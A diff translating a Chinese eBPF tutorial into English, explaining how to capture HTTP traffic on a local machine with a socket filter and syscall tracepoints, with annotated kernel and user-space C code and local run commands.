**流量控制**:根据自定义条件限制或优先处理流量。 -- **安全性**:在它们到达用户空间应用程序之前丢弃恶意数据包。 -- **监控**:捕获特定数据包进行分析,而不影响其它流量。 +- **Traffic Control**: Restrict or prioritize traffic based on custom conditions. +- **Security**: Discard malicious packets before they reach user-space applications. +- **Monitoring**: Capture specific packets for analysis without affecting other traffic. ### **eBPF Syscall Tracing** -**是什么?** -使用 eBPF 进行的系统调用跟踪允许监视和操作应用程序发出的系统调用。系统调用是用户空间应用程序与内核交互的主要机制,因此跟踪它们可以深入了解应用程序的行为。 +**What Is It?** +System call tracing using eBPF allows monitoring and manipulation of system calls made by applications. System calls are the primary mechanism through which user-space applications interact with the kernel, making tracing them a valuable way to understand application behavior. -**主要特点:** +**Key Features:** -- **粒度**:eBPF 允许跟踪特定的系统调用,甚至是这些系统调用中的特定参数。 -- **低开销**:与其他跟踪方法相比,eBPF 系统调用跟踪旨在具有最小的性能影响。 -- **安全性**:内核验证 eBPF 程序,以确保它们不会损害系统稳定性。 +- **Granularity**: eBPF allows tracing specific system calls, even specific parameters within those system calls. +- **Low Overhead**: Compared to other tracing methods, eBPF syscall tracing is designed to have minimal performance impact. +- **Security**: Kernel validates eBPF programs to ensure they do not compromise system stability. -**工作原理:** -eBPF 系统调用跟踪通常涉及将 eBPF 程序附加到与系统调用相关的 tracepoints 或 kprobes。当跟踪的系统调用被调用时,执行 eBPF 程序,允许收集数据或甚至修改系统调用参数。 +**How It Works:** +eBPF syscall tracing typically involves attaching eBPF programs to tracepoints or kprobes related to the system calls being traced. When the traced system call is invoked, the eBPF program is executed, allowing data collection or even modification of system call parameters. -### eBPF 的 socket filter 和 syscall 追踪的对比 +### Comparison of eBPF Socket Filter and Syscall Tracing -| 项目 | eBPF Socket Filter | eBPF Syscall Tracing | -|------|--------------------|----------------------| -| **操作层** | 套接字层,主要处理从套接字接收或发送的网络数据包 | 系统调用层,监视和可能更改应用程序发出的系统调用的行为 | -| **主要用途** | 主要用于网络数据包的过滤、监控和操作 | 用于性能分析、安全监控和系统调用交互的调试 | -| **粒度** | 专注于单个网络数据包 | 可以监视与网络无关的广泛的系统活动 | -| **追踪 HTTP 流量** | 可以用于过滤和捕获通过套接字传递的 HTTP 数据包 | 可以跟踪与网络操作相关的系统调用 | +| Aspect | eBPF Socket Filter | eBPF Syscall Tracing | +| ------ | ------------------- | --------------------- | +| **Operational Layer** | Socket layer, primarily dealing with network packets received from or sent to sockets. | System call layer, monitoring and potentially altering the behavior of system calls made by applications. | +| **Primary Use Cases** | Mainly used for filtering, monitoring, and manipulation of network packets. | Used for performance analysis, security monitoring, and debugging of interactions with the network. | +| **Granularity** | Focuses on individual network packets. | Can monitor a wide range of system activities, including those unrelated to networking. | +| **Tracking HTTP Traffic** | Can be used to filter and capture HTTP packets passed through sockets. | Can trace system calls associated with networking operations, which may include HTTP traffic. | -总之,eBPF 的 socket filter 和 syscall 追踪都可以用于追踪 HTTP 流量,但 socket filters 更直接且更适合此目的。然而,如果您对应用程序如何与系统交互的更广泛的上下文感兴趣(例如,哪些系统调用导致了 HTTP 流量),那么系统调用跟踪将是非常有价值的。在许多高级的可观察性设置中,这两种工具可能会同时使用,以提供系统和网络行为的全面视图。 +In summary, both eBPF socket filters and syscall tracing can be used to trace HTTP traffic, but socket filters are more direct and suitable for this purpose. However, if you are interested in the broader context of how an application interacts with the system (e.g., which system calls lead to HTTP traffic), syscall tracing can be highly valuable. In many advanced observability setups, both tools may be used simultaneously to provide a comprehensive view of system and network behavior. -## 使用 eBPF socket filter 来捕获 HTTP 流量 +## Capturing HTTP Traffic with eBPF Socket Filter -eBPF 代码由用户态和内核态组成,这里主要关注于内核态代码。这是使用 eBPF socket filter 技术来在内核中捕获HTTP流量的主要逻辑,完整代码如下: +eBPF code consists of user-space and kernel-space components, and here we primarily focus on the kernel-space code. Below is the main logic for capturing HTTP traffic in the kernel using eBPF socket filter technology, and the complete code is provided: ```c SEC("socket") @@ -185,7 +174,7 @@ int socket_handler(struct __sk_buff *skb) } ``` -当分析这段eBPF程序时,我们将按照每个代码块的内容来详细解释,并提供相关的背景知识: +When analyzing this eBPF program, we will explain it in detail according to the content of each code block and provide relevant background knowledge: ```c SEC("socket") @@ -195,7 +184,7 @@ int socket_handler(struct __sk_buff *skb) } ``` -这是eBPF程序的入口点,它定义了一个名为 `socket_handler` 的函数,它会被内核用于处理传入的网络数据包。这个函数位于一个名为 `socket` 的 eBPF 节(section)中,表明这个程序用于套接字处理。 +This is the entry point of the eBPF program, defining a function named `socket_handler` that the kernel uses to handle incoming network packets. This function is located in an eBPF section named `socket`, indicating that it is intended for socket handling. ```c struct so_event *e; @@ -210,15 +199,15 @@ __u32 payload_length = 0; __u8 hdr_len; ``` -在这个代码块中,我们定义了一些变量来存储在处理数据包时需要的信息。这些变量包括了`struct so_event *e`用于存储事件信息,`verlen`、`proto`、`nhoff`、`ip_proto`、`tcp_hdr_len`、`tlen`、`payload_offset`、`payload_length`、`hdr_len`等用于存储数据包信息的变量。 +In this code block, several variables are defined to store information needed during packet processing. These variables include `struct so_event *e` for storing event information, `verlen`, `proto`, `nhoff`, `ip_proto`, `tcp_hdr_len`, `tlen`, `payload_offset`, `payload_length`, and `hdr_len` for storing packet information. -- `struct so_event *e;`:这是一个指向`so_event`结构体的指针,用于存储捕获到的事件信息。该结构体的具体定义在程序的其他部分。 -- `__u8 verlen;`、`__u16 proto;`、`__u32 nhoff = ETH_HLEN;`:这些变量用于存储各种信息,例如协议类型、数据包偏移量等。`nhoff`初始化为以太网帧头部的长度,通常为14字节,因为以太网帧头部包括目标MAC地址、源MAC地址和帧类型字段。 -- `__u32 ip_proto = 0;`:这个变量用于存储IP协议的类型,初始化为0。 -- `__u32 tcp_hdr_len = 0;`:这个变量用于存储TCP头部的长度,初始化为0。 -- `__u16 tlen;`:这个变量用于存储IP数据包的总长度。 -- `__u32 payload_offset = 0;`、`__u32 payload_length = 0;`:这两个变量用于存储HTTP请求的载荷(payload)的偏移量和长度。 -- `__u8 hdr_len;`:这个变量用于存储IP头部的长度。 +- `struct so_event *e;`: This is a pointer to the `so_event` structure for storing captured event information. The specific definition of this structure is located elsewhere in the program. +- `__u8 verlen;`, `__u16 proto;`, `__u32 nhoff = ETH_HLEN;`: These variables are used to store various pieces of information, such as protocol types, packet offsets, etc. `nhoff` is initialized to the length of the Ethernet frame header, typically 14 bytes, as Ethernet frame headers include destination MAC address, source MAC address, and frame type fields. +- `__u32 ip_proto = 0;`: This variable is used to store the type of the IP protocol and is initialized to 0. +- `__u32 tcp_hdr_len = 0;`: This variable is used to store the length of the TCP header and is initialized to 0. +- `__u16 tlen;`: This variable is used to store the total length of the IP packet. +- `__u32 payload_offset = 0;`, `__u32 payload_length = 0;`: These two variables are used to store the offset and length of the HTTP request payload. +- `__u8 hdr_len;`: This variable is used to store the length of the IP header. ```c bpf_skb_load_bytes(skb, 12, &proto, 2); @@ -227,20 +216,20 @@ if (proto != ETH_P_IP) return 0; ``` -在这里,代码从数据包中加载了以太网帧的类型字段,这个字段告诉我们数据包使用的网络层协议。然后,使用`__bpf_ntohs`函数将网络字节序的类型字段转换为主机字节序。接下来,代码检查类型字段是否等于IPv4的以太网帧类型(0x0800)。如果不等于,说明这个数据包不是IPv4数据包,直接返回0,放弃处理。 +Here, the code loads the Ethernet frame type field from the packet, which tells us the network layer protocol being used in the packet. It then uses the `__bpf_ntohs` function to convert the network byte order type field into host byte order. Next, the code checks if the type field is not equal to the Ethernet frame type for IPv4 (0x0800). If it's not equal, it means the packet is not an IPv4 packet, and the function returns 0, indicating that the packet should not be processed. -这里需要了解以下几个概念: +Key concepts to understand here: -- 以太网帧(Ethernet Frame):是数据链路层(第二层)的协议,用于在局域网中传输数据帧。以太网帧通常包括目标MAC地址、源MAC地址和帧类型字段。 -- 网络字节序(Network Byte Order):网络协议通常使用大端字节序(Big-Endian)来表示数据。因此,需要将从网络中接收到的数据转换为主机字节序,以便在主机上正确解释数据。 -- IPv4帧类型(ETH_P_IP):表示以太网帧中包含的协议类型字段,0x0800表示IPv4。 +- Ethernet Frame: The Ethernet frame is a data link layer (Layer 2) protocol used for transmitting data frames within a local area network (LAN). Ethernet frames typically include destination MAC address, source MAC address, and frame type fields. +- Network Byte Order: Network protocols often use big-endian byte order to represent data. Therefore, data received from the network needs to be converted into host byte order for proper interpretation on the host. Here, the type field from the network is converted to host byte order for further processing. +- IPv4 Frame Type (ETH_P_IP): This represents the frame type field in the Ethernet frame, where 0x0800 indicates IPv4. ```c if (ip_is_fragment(skb, nhoff)) return 0; ``` -这一部分的代码检查是否处理IP分片。IP分片是将较大的IP数据包分割成多个小片段以进行传输的机制。在这里,如果数据包是IP分片,则直接返回0,表示不处理分片,只处理完整的数据包。 +This part of the code checks if IP fragmentation is being handled. IP fragmentation is a mechanism for splitting larger IP packets into multiple smaller fragments for transmission. Here, if the packet is an IP fragment, the function returns 0, indicating that only complete packets will be processed. ```c static inline int ip_is_fragment(struct __sk_buff *skb, __u32 nhoff) @@ -253,31 +242,33 @@ static inline int ip_is_fragment(struct __sk_buff *skb, __u32 nhoff) } ``` -上述代码是一个辅助函数,用于检查传入的IPv4数据包是否为IP分片。IP分片是一种机制,当IP数据包的大小超过了网络的最大传输单元(MTU),路由器会将其分割成多个较小的片段,以便在网络上进行传输。这个函数的目的是检查数据包的分片标志(Fragmentation Flag)以及片偏移(Fragment Offset)字段,以确定是否为分片。 +The above code is a helper function used to check if the incoming IPv4 packet is an IP fragment. IP fragmentation is a mechanism where, if the size of an IP packet exceeds the Maximum Transmission Unit (MTU) of the network, routers split it into smaller fragments for transmission across the network. The purpose of this function is to examine the fragment flags and fragment offset fields within the packet to determine if it is a fragment. -下面是代码的逐行解释: +Here's an explanation of the code line by line: -1. `__u16 frag_off;`:定义一个16位无符号整数变量`frag_off`,用于存储片偏移字段的值。 -2. `bpf_skb_load_bytes(skb, nhoff + offsetof(struct iphdr, frag_off), &frag_off, 2);`:这行代码使用`bpf_skb_load_bytes`函数从数据包中加载IPv4头部的片偏移字段(`frag_off`),并加载2个字节。`nhoff`是IPv4头部在数据包中的偏移量,`offsetof(struct iphdr, frag_off)`用于计算片偏移字段在IPv4头部中的偏移量。 -3. `frag_off = __bpf_ntohs(frag_off);`:将加载的片偏移字段从网络字节序(Big-Endian)转换为主机字节序。网络协议通常使用大端字节序表示数据,而主机可能使用大端或小端字节序。这里将片偏移字段转换为主机字节序,以便进一步处理。 -4. `return frag_off & (IP_MF | IP_OFFSET);`:这行代码通过使用位运算检查片偏移字段的值,以确定是否为IP分片。具体来说,它使用位与运算符`&`将片偏移字段与两个标志位进行位与运算: - - `IP_MF`:表示"更多分片"标志(More Fragments)。如果这个标志位被设置为1,表示数据包是分片的一部分,还有更多分片。 - - `IP_OFFSET`:表示片偏移字段。如果片偏移字段不为0,表示数据包是分片的一部分,且具有片偏移值。 - 如果这两个标志位中的任何一个被设置为1,那么结果就不为零,说明数据包是IP分片。如果都为零,说明数据包不是分片。 +1. `__u16 frag_off;`: Defines a 16-bit unsigned integer variable `frag_off` to store the fragment offset field. +2. `bpf_skb_load_bytes(skb, nhoff + offsetof(struct iphdr, frag_off), &frag_off, 2);`: This line of code uses the `bpf_skb_load_bytes` function to load the fragment offset field from the packet. `nhoff` is the offset of the IP header within the packet, and `offsetof(struct iphdr, frag_off)` calculates the offset of the fragment offset field within the IPv4 header. +3. `frag_off = __bpf_ntohs(frag_off);`: Converts the loaded fragment offset field from network byte order (big-endian) to host byte order. Network protocols typically use big-endian to represent data, and the conversion to host byte order is done for further processing. +4. `return frag_off & (IP_MF | IP_OFFSET);`: This line of code checks the value of the fragment offset field using a bitwise AND operation with two flag values: + - `IP_MF`: Represents the "More Fragments" flag. If this flag is set to 1, it indicates that the packet is part of a fragmented sequence and more fragments are expected. + - `IP_OFFSET`: Represents the fragment offset field. If the fragment offset field is non-zero, it indicates that the packet is part of a fragmented sequence and has a fragment offset value. + If either of these flags is set to 1, the result is non-zero, indicating that the packet is an IP fragment. If both flags are 0, it means the packet is not fragmented. -需要注意的是,IP头部的片偏移字段以8字节为单位,所以实际的片偏移值需要左移3位来得到字节偏移。此外,IP头部的"更多分片"标志(IP_MF)表示数据包是否有更多的分片,通常与片偏移字段一起使用来指示整个数据包的分片情况。这个函数只关心这两个标志位,如果其中一个标志被设置,就认为是IP分片。 +It's important to note that the fragment offset field in the IP header is specified in units of 8 bytes, so the actual byte offset is obtained by left-shifting the value by 3 bits. Additionally, the "More Fragments" flag (IP_MF) in the IP header indicates whether there are more fragments in the sequence and is typically used in conjunction with the fragment offset field to indicate the status of fragmented packets. ```c -bpf_skb_load_bytes(skb, ETH_HLEN, &hdr_len, sizeof(hdr_len)); +bpf_skb_load_bytes(skb, ETH_HLEN, & + +hdr_len, sizeof(hdr_len)); hdr_len &= 0x0f; hdr_len *= 4; ``` -这一部分的代码从数据包中加载IP头部的长度字段。IP头部长度字段包含了IP头部的长度信息,以4字节为单位,需要将其转换为字节数。这里通过按位与和乘以4来进行转换。 +In this part of the code, the length of the IP header is loaded from the packet. The IP header length field contains information about the length of the IP header in units of 4 bytes, and it needs to be converted to bytes. Here, it is converted by performing a bitwise AND operation with 0x0f and then multiplying it by 4. -需要了解: +Key concept: -- IP头部(IP Header):IP头部包含了关于数据包的基本信息,如源IP地址、目标IP地址、协议类型和头部校验和等。头部长度字段(IHL,Header Length)表示IP头部的长度,以4字节为单位,通常为20字节(5个4字节的字)。 +- IP Header: The IP header contains fundamental information about a packet, such as the source IP address, destination IP address, protocol type, total length, identification, flags, fragment offset, time to live (TTL), checksum, source port, and destination port. ```c if (hdr_len < sizeof(struct iphdr)) @@ -286,13 +277,11 @@ if (hdr_len < sizeof(struct iphdr)) } ``` -这段代码检查IP头部的长度是否满足最小长度要求,通常IP头部的最小长度是20字节。如果IP头部的长度小于20字节,说明数据包不完整或损坏,直接返回0,放弃处理。 - -需要了解: +This code segment checks if the length of the IP header meets the minimum length requirement, typically 20 bytes. If the length of the IP header is less than 20 bytes, it indicates an incomplete or corrupted packet, and the function returns 0, indicating that the packet should not be processed. -- `struct iphdr`:这是Linux内核中定义的结构体,表示IPv4头部的格式。它包括了版本、头部长度、服务类型、总长度、 +Key concept: -标识符、标志位、片偏移、生存时间、协议、头部校验和、源IP地址和目标IP地址等字段。 +- `struct iphdr`: This is a structure defined in the Linux kernel, representing the format of an IPv4 header. It includes fields such as version, header length, service type, total length, identification, flags, fragment offset, time to live, protocol, header checksum, source IP address, and destination IP address, among others. ```c bpf_skb_load_bytes(skb, nhoff + offsetof(struct iphdr, protocol), &ip_proto, 1); @@ -302,29 +291,29 @@ if (ip_proto != IPPROTO_TCP) } ``` -在这里,代码从数据包中加载IP头部中的协议字段,以确定数据包使用的传输层协议。然后,它检查协议字段是否为TCP协议(IPPROTO_TCP)。如果不是TCP协议,说明不是HTTP请求或响应,直接返回0。 +Here, the code loads the protocol field from the IP header to determine the transport layer protocol used in the packet. Then, it checks if the protocol field is not equal to the value for TCP (IPPROTO_TCP). If it's not TCP, it means the packet is not an HTTP request or response, and the function returns 0. -需要了解: +Key concept: -- 传输层协议:IP头部中的协议字段指示了数据包所使用的传输层协议,例如TCP、UDP或ICMP。 +- Transport Layer Protocol: The protocol field in the IP header indicates the transport layer protocol used in the packet, such as TCP, UDP, or ICMP. ```c tcp_hdr_len = nhoff + hdr_len; ``` -这行代码计算了TCP头部的偏移量。它将以太网帧头部的长度(`nhoff`)与IP头部的长度(`hdr_len`)相加,得到TCP头部的起始位置。 +This line of code calculates the offset of the TCP header. It adds the length of the Ethernet frame header (`nhoff`) to the length of the IP header (`hdr_len`) to obtain the starting position of the TCP header. ```c bpf_skb_load_bytes(skb, nhoff + 0, &verlen, 1); ``` -这行代码从数据包中加载TCP头部的第一个字节,该字节包含了TCP头部长度信息。这个长度字段以4字节为单位,需要进行后续的转换。 +This line of code loads the first byte of the TCP header from the packet, which contains information about the TCP header length. This length field is specified in units of 4 bytes and requires further conversion. ```c bpf_skb_load_bytes(skb, nhoff + offsetof(struct iphdr, tot_len), &tlen, sizeof(tlen)); ``` -这行代码从数据包中加载IP头部的总长度字段。IP头部总长度字段表示整个IP数据包的长度,包括IP头部和数据部分。 +This line of code loads the total length field of the IP header from the packet. The IP header's total length field represents the overall length of the IP packet, including both the IP header and the data portion. ```c __u8 doff; @@ -334,22 +323,22 @@ doff >>= 4; doff *= 4; ``` -这段代码用于计算TCP头部的长度。它加载TCP头部中的数据偏移字段(Data Offset,也称为头部长度字段),该字段表示TCP头部的长度以4字节为单位。代码将偏移字段的高四位清零,然后将其右移4位,最后乘以4,得到TCP头部的实际长度。 +This piece of code is used to calculate the length of the TCP header. It loads the Data Offset field (also known as the Header Length field) from the TCP header, which represents the length of the TCP header in units of 4 bytes. The code clears the high four bits of the offset field, then shifts it right by 4 bits, and finally multiplies it by 4 to obtain the actual length of the TCP header. -需要了解: +Key points to understand: -- TCP头部(TCP Header):TCP头部包含了TCP协议相关的信息,如源端口、目标端口、序列号、确认号、标志位(如SYN、ACK、FIN等)、窗口大小和校验和等。 +- TCP Header: The TCP header contains information related to the TCP protocol, such as source port, destination port, sequence number, acknowledgment number, flags (e.g., SYN, ACK, FIN), window size, and checksum. ```c payload_offset = ETH_HLEN + hdr_len + doff; payload_length = __bpf_ntohs(tlen) - hdr_len - doff; ``` -这两行代码计算HTTP请求的载荷(payload)的偏移量和长度。它们将以太网帧头部长度、IP头部长度和TCP头部长度相加,得到HTTP请求的数据部分的偏移量,然后通过减去总长度、IP头部长度和TCP头部长度,计算出HTTP请求数据的长度。 +These two lines of code calculate the offset and length of the HTTP request payload. They add the lengths of the Ethernet frame header, IP header, and TCP header together to obtain the offset to the data portion of the HTTP request. Then, by subtracting the total length, IP header length, and TCP header length from the total length field, they calculate the length of the HTTP request data. -需要了解: +Key point: -- HTTP请求载荷(Payload):HTTP请求中包含的实际数据部分,通常是HTTP请求头和请求体。 +- HTTP Request Payload: The actual data portion included in an HTTP request, typically consisting of the HTTP request headers and request body. ```c char line_buffer[7]; @@ -361,7 +350,7 @@ bpf_skb_load_bytes(skb, payload_offset, line_buffer, 7); bpf_printk("%d len %d buffer: %s", payload_offset, payload_length, line_buffer); ``` -这部分代码用于加载HTTP请求行的前7个字节,存储在名为`line_buffer`的字符数组中。然后,它检查HTTP请求数据的长度是否小于7字节或偏移量是否为负数,如果满足这些条件,说明HTTP请求不完整,直接返回0。最后,它使用`bpf_printk`函数将HTTP请求行的内容打印到内核日志中,以供调试和分析。 +This portion of the code loads the first 7 bytes of the HTTP request line and stores them in a character array named `line_buffer`. It then checks if the length of the HTTP request data is less than 7 bytes or if the offset is negative. If these conditions are met, it indicates an incomplete HTTP request, and the function returns 0. Finally, it uses the `bpf_printk` function to print the content of the HTTP request line to the kernel log for debugging and analysis. ```c if (bpf_strncmp(line_buffer, 3, "GET") != 0 && @@ -374,9 +363,9 @@ if (bpf_strncmp(line_buffer, 3, "GET") != 0 && } ``` -> 注意:bpf_strncmp 这个内核 helper 在 5.17 版本中才被引入,如果你的内核版本低于 5.17,可以手动匹配字符串来实现相同的功能。 +> Note: The `bpf_strncmp` function is a helper function available from kernel version 5.17. For earlier versions, you can manually write a function to compare strings. -这段代码使用`bpf_strncmp`函数比较`line_buffer`中的数据与HTTP请求方法(GET、POST、PUT、DELETE、HTTP)是否匹配。如果不匹配,说明不是HTTP请求,直接返回0,放弃处理。 +This piece of code uses the `bpf_strncmp` function to compare the data in `line_buffer` with HTTP request methods (GET, POST, PUT, DELETE, HTTP). If there is no match, indicating that it is not an HTTP request, it returns 0, indicating that it should not be processed. ```c e = bpf_ringbuf_reserve(&rb, sizeof(*e), 0); @@ -384,11 +373,11 @@ if (!e) return 0; ``` -这部分代码尝试从BPF环形缓冲区中保留一块内存以存储事件信息。如果无法保留内存块,返回0。BPF环形缓冲区用于在eBPF程序和用户空间之间传递事件数据。 +This section of the code attempts to reserve a block of memory from the BPF ring buffer to store event information. If it cannot reserve the memory block, it returns 0. The BPF ring buffer is used to pass event data between the eBPF program and user space. -需要了解: +Key point: -- BPF环形缓冲区:BPF环形缓冲区是一种在eBPF程序和用户空间之间传递数据的机制。它可以用来存储事件信息,以便用户空间应用程序进行进一步处理或分析。 +- BPF Ring Buffer: The BPF ring buffer is a mechanism for passing data between eBPF programs and user space. It can be used to store event information for further processing or analysis by user space applications. ```c e->ip_proto = ip_proto; @@ -406,53 +395,51 @@ bpf_ringbuf_submit(e, 0); return skb->len; ``` -最后,这段代码将捕获到的事件信息存储在`e`结构体中,并将 +Finally, this code segment stores the captured event information in the `e` structure and submits it to the BPF ring buffer. It includes information such as the captured IP protocol, source and destination ports, packet type, interface index, payload length, source IP address, and destination IP address. Finally, it returns the length of the packet, indicating that the packet was successfully processed. -其提交到BPF环形缓冲区。它包括了捕获的IP协议、源端口和目标端口、数据包类型、接口索引、载荷长度、源IP地址和目标IP地址等信息。最后,它返回数据包的长度,表示成功处理了数据包。 +This code is primarily used to store captured event information for further processing. The BPF ring buffer is used to pass this information to user space for additional handling or logging. -这段代码主要用于将捕获的事件信息存储起来,以便后续的处理和分析。 BPF环形缓冲区用于将这些信息传递到用户空间,供用户空间应用程序进一步处理或记录。 +In summary, this eBPF program's main task is to capture HTTP requests. It accomplishes this by parsing the Ethernet frame, IP header, and TCP header of incoming packets to determine if they contain HTTP requests. Information about the requests is then stored in the `so_event` structure and submitted to the BPF ring buffer. This is an efficient method for capturing HTTP traffic at the kernel level and is suitable for applications such as network monitoring and security analysis. -总结:这段eBPF程序的主要任务是捕获HTTP请求,它通过解析数据包的以太网帧、IP头部和TCP头部来确定数据包是否包含HTTP请求,并将有关请求的信息存储在`so_event`结构体中,然后提交到BPF环形缓冲区。这是一种高效的方法,可以在内核层面捕获HTTP流量,适用于网络监控和安全分析等应用。 +### Potential Limitations -### 潜在缺陷 +The above code has some potential limitations, and one of the main limitations is that it cannot handle URLs that span multiple packets. -上述代码也存在一些潜在的缺陷,其中一个主要缺陷是它无法处理跨多个数据包的URL。 +- Cross-Packet URLs: The code checks the URL in an HTTP request by parsing a single data packet. If the URL of an HTTP request spans multiple packets, it will only examine the URL in the first packet. This can lead to missing or partially capturing long URLs that span multiple data packets. -- 跨包URL:代码中通过解析单个数据包来检查HTTP请求中的URL,如果HTTP请求的URL跨足够多的数据包,那么只会检查第一个数据包中的URL部分。这会导致丢失或部分记录那些跨多个数据包的长URL。 +To address this issue, a solution often involves reassembling multiple packets to reconstruct the complete HTTP request. This may require implementing packet caching and assembly logic within the eBPF program and waiting to collect all relevant packets until the HTTP request is detected. This adds complexity and may require additional memory to handle cases where URLs span multiple packets. -解决这个问题的方法通常需要对多个数据包进行重新组装,以还原完整的HTTP请求。这可能需要在eBPF程序中实现数据包的缓存和组装逻辑,并在检测到HTTP请求结束之前等待并收集所有相关数据包。这需要更复杂的逻辑和额外的内存来处理跨多个数据包的情况。 +### User-Space Code -### 用户态代码 - -用户态代码的主要目的是创建一个原始套接字(raw socket),然后将先前在内核中定义的eBPF程序附加到该套接字上,从而允许eBPF程序捕获和处理从该套接字接收到的网络数据包,例如: +The user-space code's main purpose is to create a raw socket and then attach the previously defined eBPF program in the kernel to that socket, allowing the eBPF program to capture and process network packets received on that socket. Here's an example of the user-space code: ```c - /* Create raw socket for localhost interface */ - sock = open_raw_sock(interface); - if (sock < 0) { - err = -2; - fprintf(stderr, "Failed to open raw socket\n"); - goto cleanup; - } +/* Create raw socket for localhost interface */ +sock = open_raw_sock(interface); +if (sock < 0) { + err = -2; + fprintf(stderr, "Failed to open raw socket\n"); + goto cleanup; +} - /* Attach BPF program to raw socket */ - prog_fd = bpf_program__fd(skel->progs.socket_handler); - if (setsockopt(sock, SOL_SOCKET, SO_ATTACH_BPF, &prog_fd, sizeof(prog_fd))) { - err = -3; - fprintf(stderr, "Failed to attach to raw socket\n"); - goto cleanup; - } +/* Attach BPF program to raw socket */ +prog_fd = bpf_program__fd(skel->progs.socket_handler); +if (setsockopt(sock, SOL_SOCKET, SO_ATTACH_BPF, &prog_fd, sizeof(prog_fd))) { + err = -3; + fprintf(stderr, "Failed to attach to raw socket\n"); + goto cleanup; +} ``` -1. `sock = open_raw_sock(interface);`:这行代码调用了一个自定义的函数`open_raw_sock`,该函数用于创建一个原始套接字。原始套接字允许用户态应用程序直接处理网络数据包,而不经过协议栈的处理。函数`open_raw_sock`可能需要一个参数 `interface`,用于指定网络接口,以便确定从哪个接口接收数据包。如果创建套接字失败,它将返回一个负数,否则返回套接字的文件描述符`sock`。 -2. 如果`sock`的值小于0,表示打开原始套接字失败,那么将`err`设置为-2,并在标准错误流上输出一条错误信息。 -3. `prog_fd = bpf_program__fd(skel->progs.socket_handler);`:这行代码获取之前在eBPF程序定义中的套接字过滤器程序(`socket_handler`)的文件描述符,以便后续将它附加到套接字上。`skel`是一个eBPF程序对象的指针,可以通过它来访问程序集合。 -4. `setsockopt(sock, SOL_SOCKET, SO_ATTACH_BPF, &prog_fd, sizeof(prog_fd))`:这行代码使用`setsockopt`系统调用将eBPF程序附加到原始套接字。它设置了`SO_ATTACH_BPF`选项,将eBPF程序的文件描述符传递给该选项,以便内核知道要将哪个eBPF程序应用于这个套接字。如果附加成功,套接字将开始捕获和处理从中接收到的网络数据包。 -5. 如果`setsockopt`失败,它将`err`设置为-3,并在标准错误流上输出一条错误信息。 +1. `sock = open_raw_sock(interface);`: This line of code calls a custom function `open_raw_sock`, which is used to create a raw socket. Raw sockets allow a user-space application to handle network packets directly without going through the protocol stack. The `interface` parameter might specify the network interface from which to receive packets, determining where to capture packets from. If creating the socket fails, it returns a negative value, otherwise, it returns the file descriptor of the socket `sock`. +2. If the value of `sock` is less than 0, indicating a failure to open the raw socket, it sets `err` to -2 and prints an error message on the standard error stream. +3. `prog_fd = bpf_program__fd(skel->progs.socket_handler);`: This line of code retrieves the file descriptor of the socket filter program (`socket_handler`) previously defined in the eBPF program. It is necessary to attach this program to the socket. `skel` is a pointer to an eBPF program object, and it provides access to the program collection. +4. `setsockopt(sock, SOL_SOCKET, SO_ATTACH_BPF, &prog_fd, sizeof(prog_fd))`: This line of code uses the `setsockopt` system call to attach the eBPF program to the raw socket. It sets the `SO_ATTACH_BPF` option and passes the file descriptor of the eBPF program to the option, letting the kernel know which eBPF program to apply to this socket. If the attachment is successful, the socket starts capturing and processing network packets received on it. +5. If `setsockopt` fails, it sets `err` to -3 and prints an error message on the standard error stream. -### 编译运行 +### Compilation and Execution -完整的源代码可以在 中找到。关于如何安装依赖,请参考: 编译运行上述代码: +The complete source code can be found at . To compile and run the code: ```console $ git submodule update --init --recursive @@ -465,7 +452,7 @@ $ sudo ./sockfilter ... ``` -在另外一个窗口中,使用 python 启动一个简单的 web server: +In another terminal, start a simple web server using Python: ```console python3 -m http.server @@ -473,7 +460,7 @@ Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ... 127.0.0.1 - - [18/Sep/2023 01:05:52] "GET / HTTP/1.1" 200 - ``` -可以使用 curl 发起请求: +You can use `curl` to make requests: ```c $ curl http://0.0.0.0:8000/ @@ -485,7 +472,7 @@ $ curl http://0.0.0.0:8000/ .... ``` -在 eBPF 程序中,可以看到打印出了 HTTP 请求的内容: +In the eBPF program, you can see that it prints the content of HTTP requests: ```console 127.0.0.1:34552(src) -> 127.0.0.1:8000(dst) @@ -499,11 +486,11 @@ Server: SimpleHTTP/0.6 Python/3.11.4 ... ``` -分别包含了请求和响应的内容。 +It captures both request and response content. -## 使用 eBPF syscall tracepoint 来捕获 HTTP 流量 +## Capturing HTTP Traffic Using eBPF Syscall Tracepoints -eBPF 提供了一种强大的机制,允许我们在内核级别追踪系统调用。在这个示例中,我们将使用 eBPF 追踪 accept 和 read 系统调用,以捕获 HTTP 流量。由于篇幅有限,这里我们仅仅对代码框架做简要的介绍。 +eBPF provides a powerful mechanism for tracing system calls at the kernel level. In this example, we'll use eBPF to trace the `accept` and `read` system calls to capture HTTP traffic. Due to space limitations, we'll provide a brief overview of the code framework. ```c struct @@ -514,24 +501,24 @@ struct __type(value, struct accept_args_t); } active_accept_args_map SEC(".maps"); -// 定义在 accept 系统调用入口的追踪点 +// Define a tracepoint at the entry of the accept system call SEC("tracepoint/syscalls/sys_enter_accept") int sys_enter_accept(struct trace_event_raw_sys_enter *ctx) { u64 id = bpf_get_current_pid_tgid(); - // ... 获取和存储 accept 调用的参数 + // ... Get and store the arguments of the accept call bpf_map_update_elem(&active_accept_args_map, &id, &accept_args, BPF_ANY); return 0; } -// 定义在 accept 系统调用退出的追踪点 +// Define a tracepoint at the exit of the accept system call SEC("tracepoint/syscalls/sys_exit_accept") int sys_exit_accept(struct trace_event_raw_sys_exit *ctx) { - // ... 处理 accept 调用的结果 + // ... Process the result of the accept call struct accept_args_t *args = bpf_map_lookup_elem(&active_accept_args_map, &id); - // ... 获取和存储 accept 调用获得的 socket 文件描述符 + // ... Get and store the socket file descriptor obtained from the accept call __u64 pid_fd = ((__u64)pid << 32) | (u32)ret_fd; bpf_map_update_elem(&conn_info_map, &pid_fd, &conn_info, BPF_ANY); // ... @@ -545,26 +532,26 @@ struct __type(value, struct data_args_t); } active_read_args_map SEC(".maps"); -// 定义在 read 系统调用入口的追踪点 +// Define a tracepoint at the entry of the read system call SEC("tracepoint/syscalls/sys_enter_read") int sys_enter_read(struct trace_event_raw_sys_enter *ctx) { - // ... 获取和存储 read 调用的参数 + // ... Get and store the arguments of the read call bpf_map_update_elem(&active_read_args_map, &id, &read_args, BPF_ANY); return 0; } -// 辅助函数,检查是否为 HTTP 连接 +// Helper function to check if it's an HTTP connection static inline bool is_http_connection(const char *line_buffer, u64 bytes_count) { - // ... 检查数据是否为 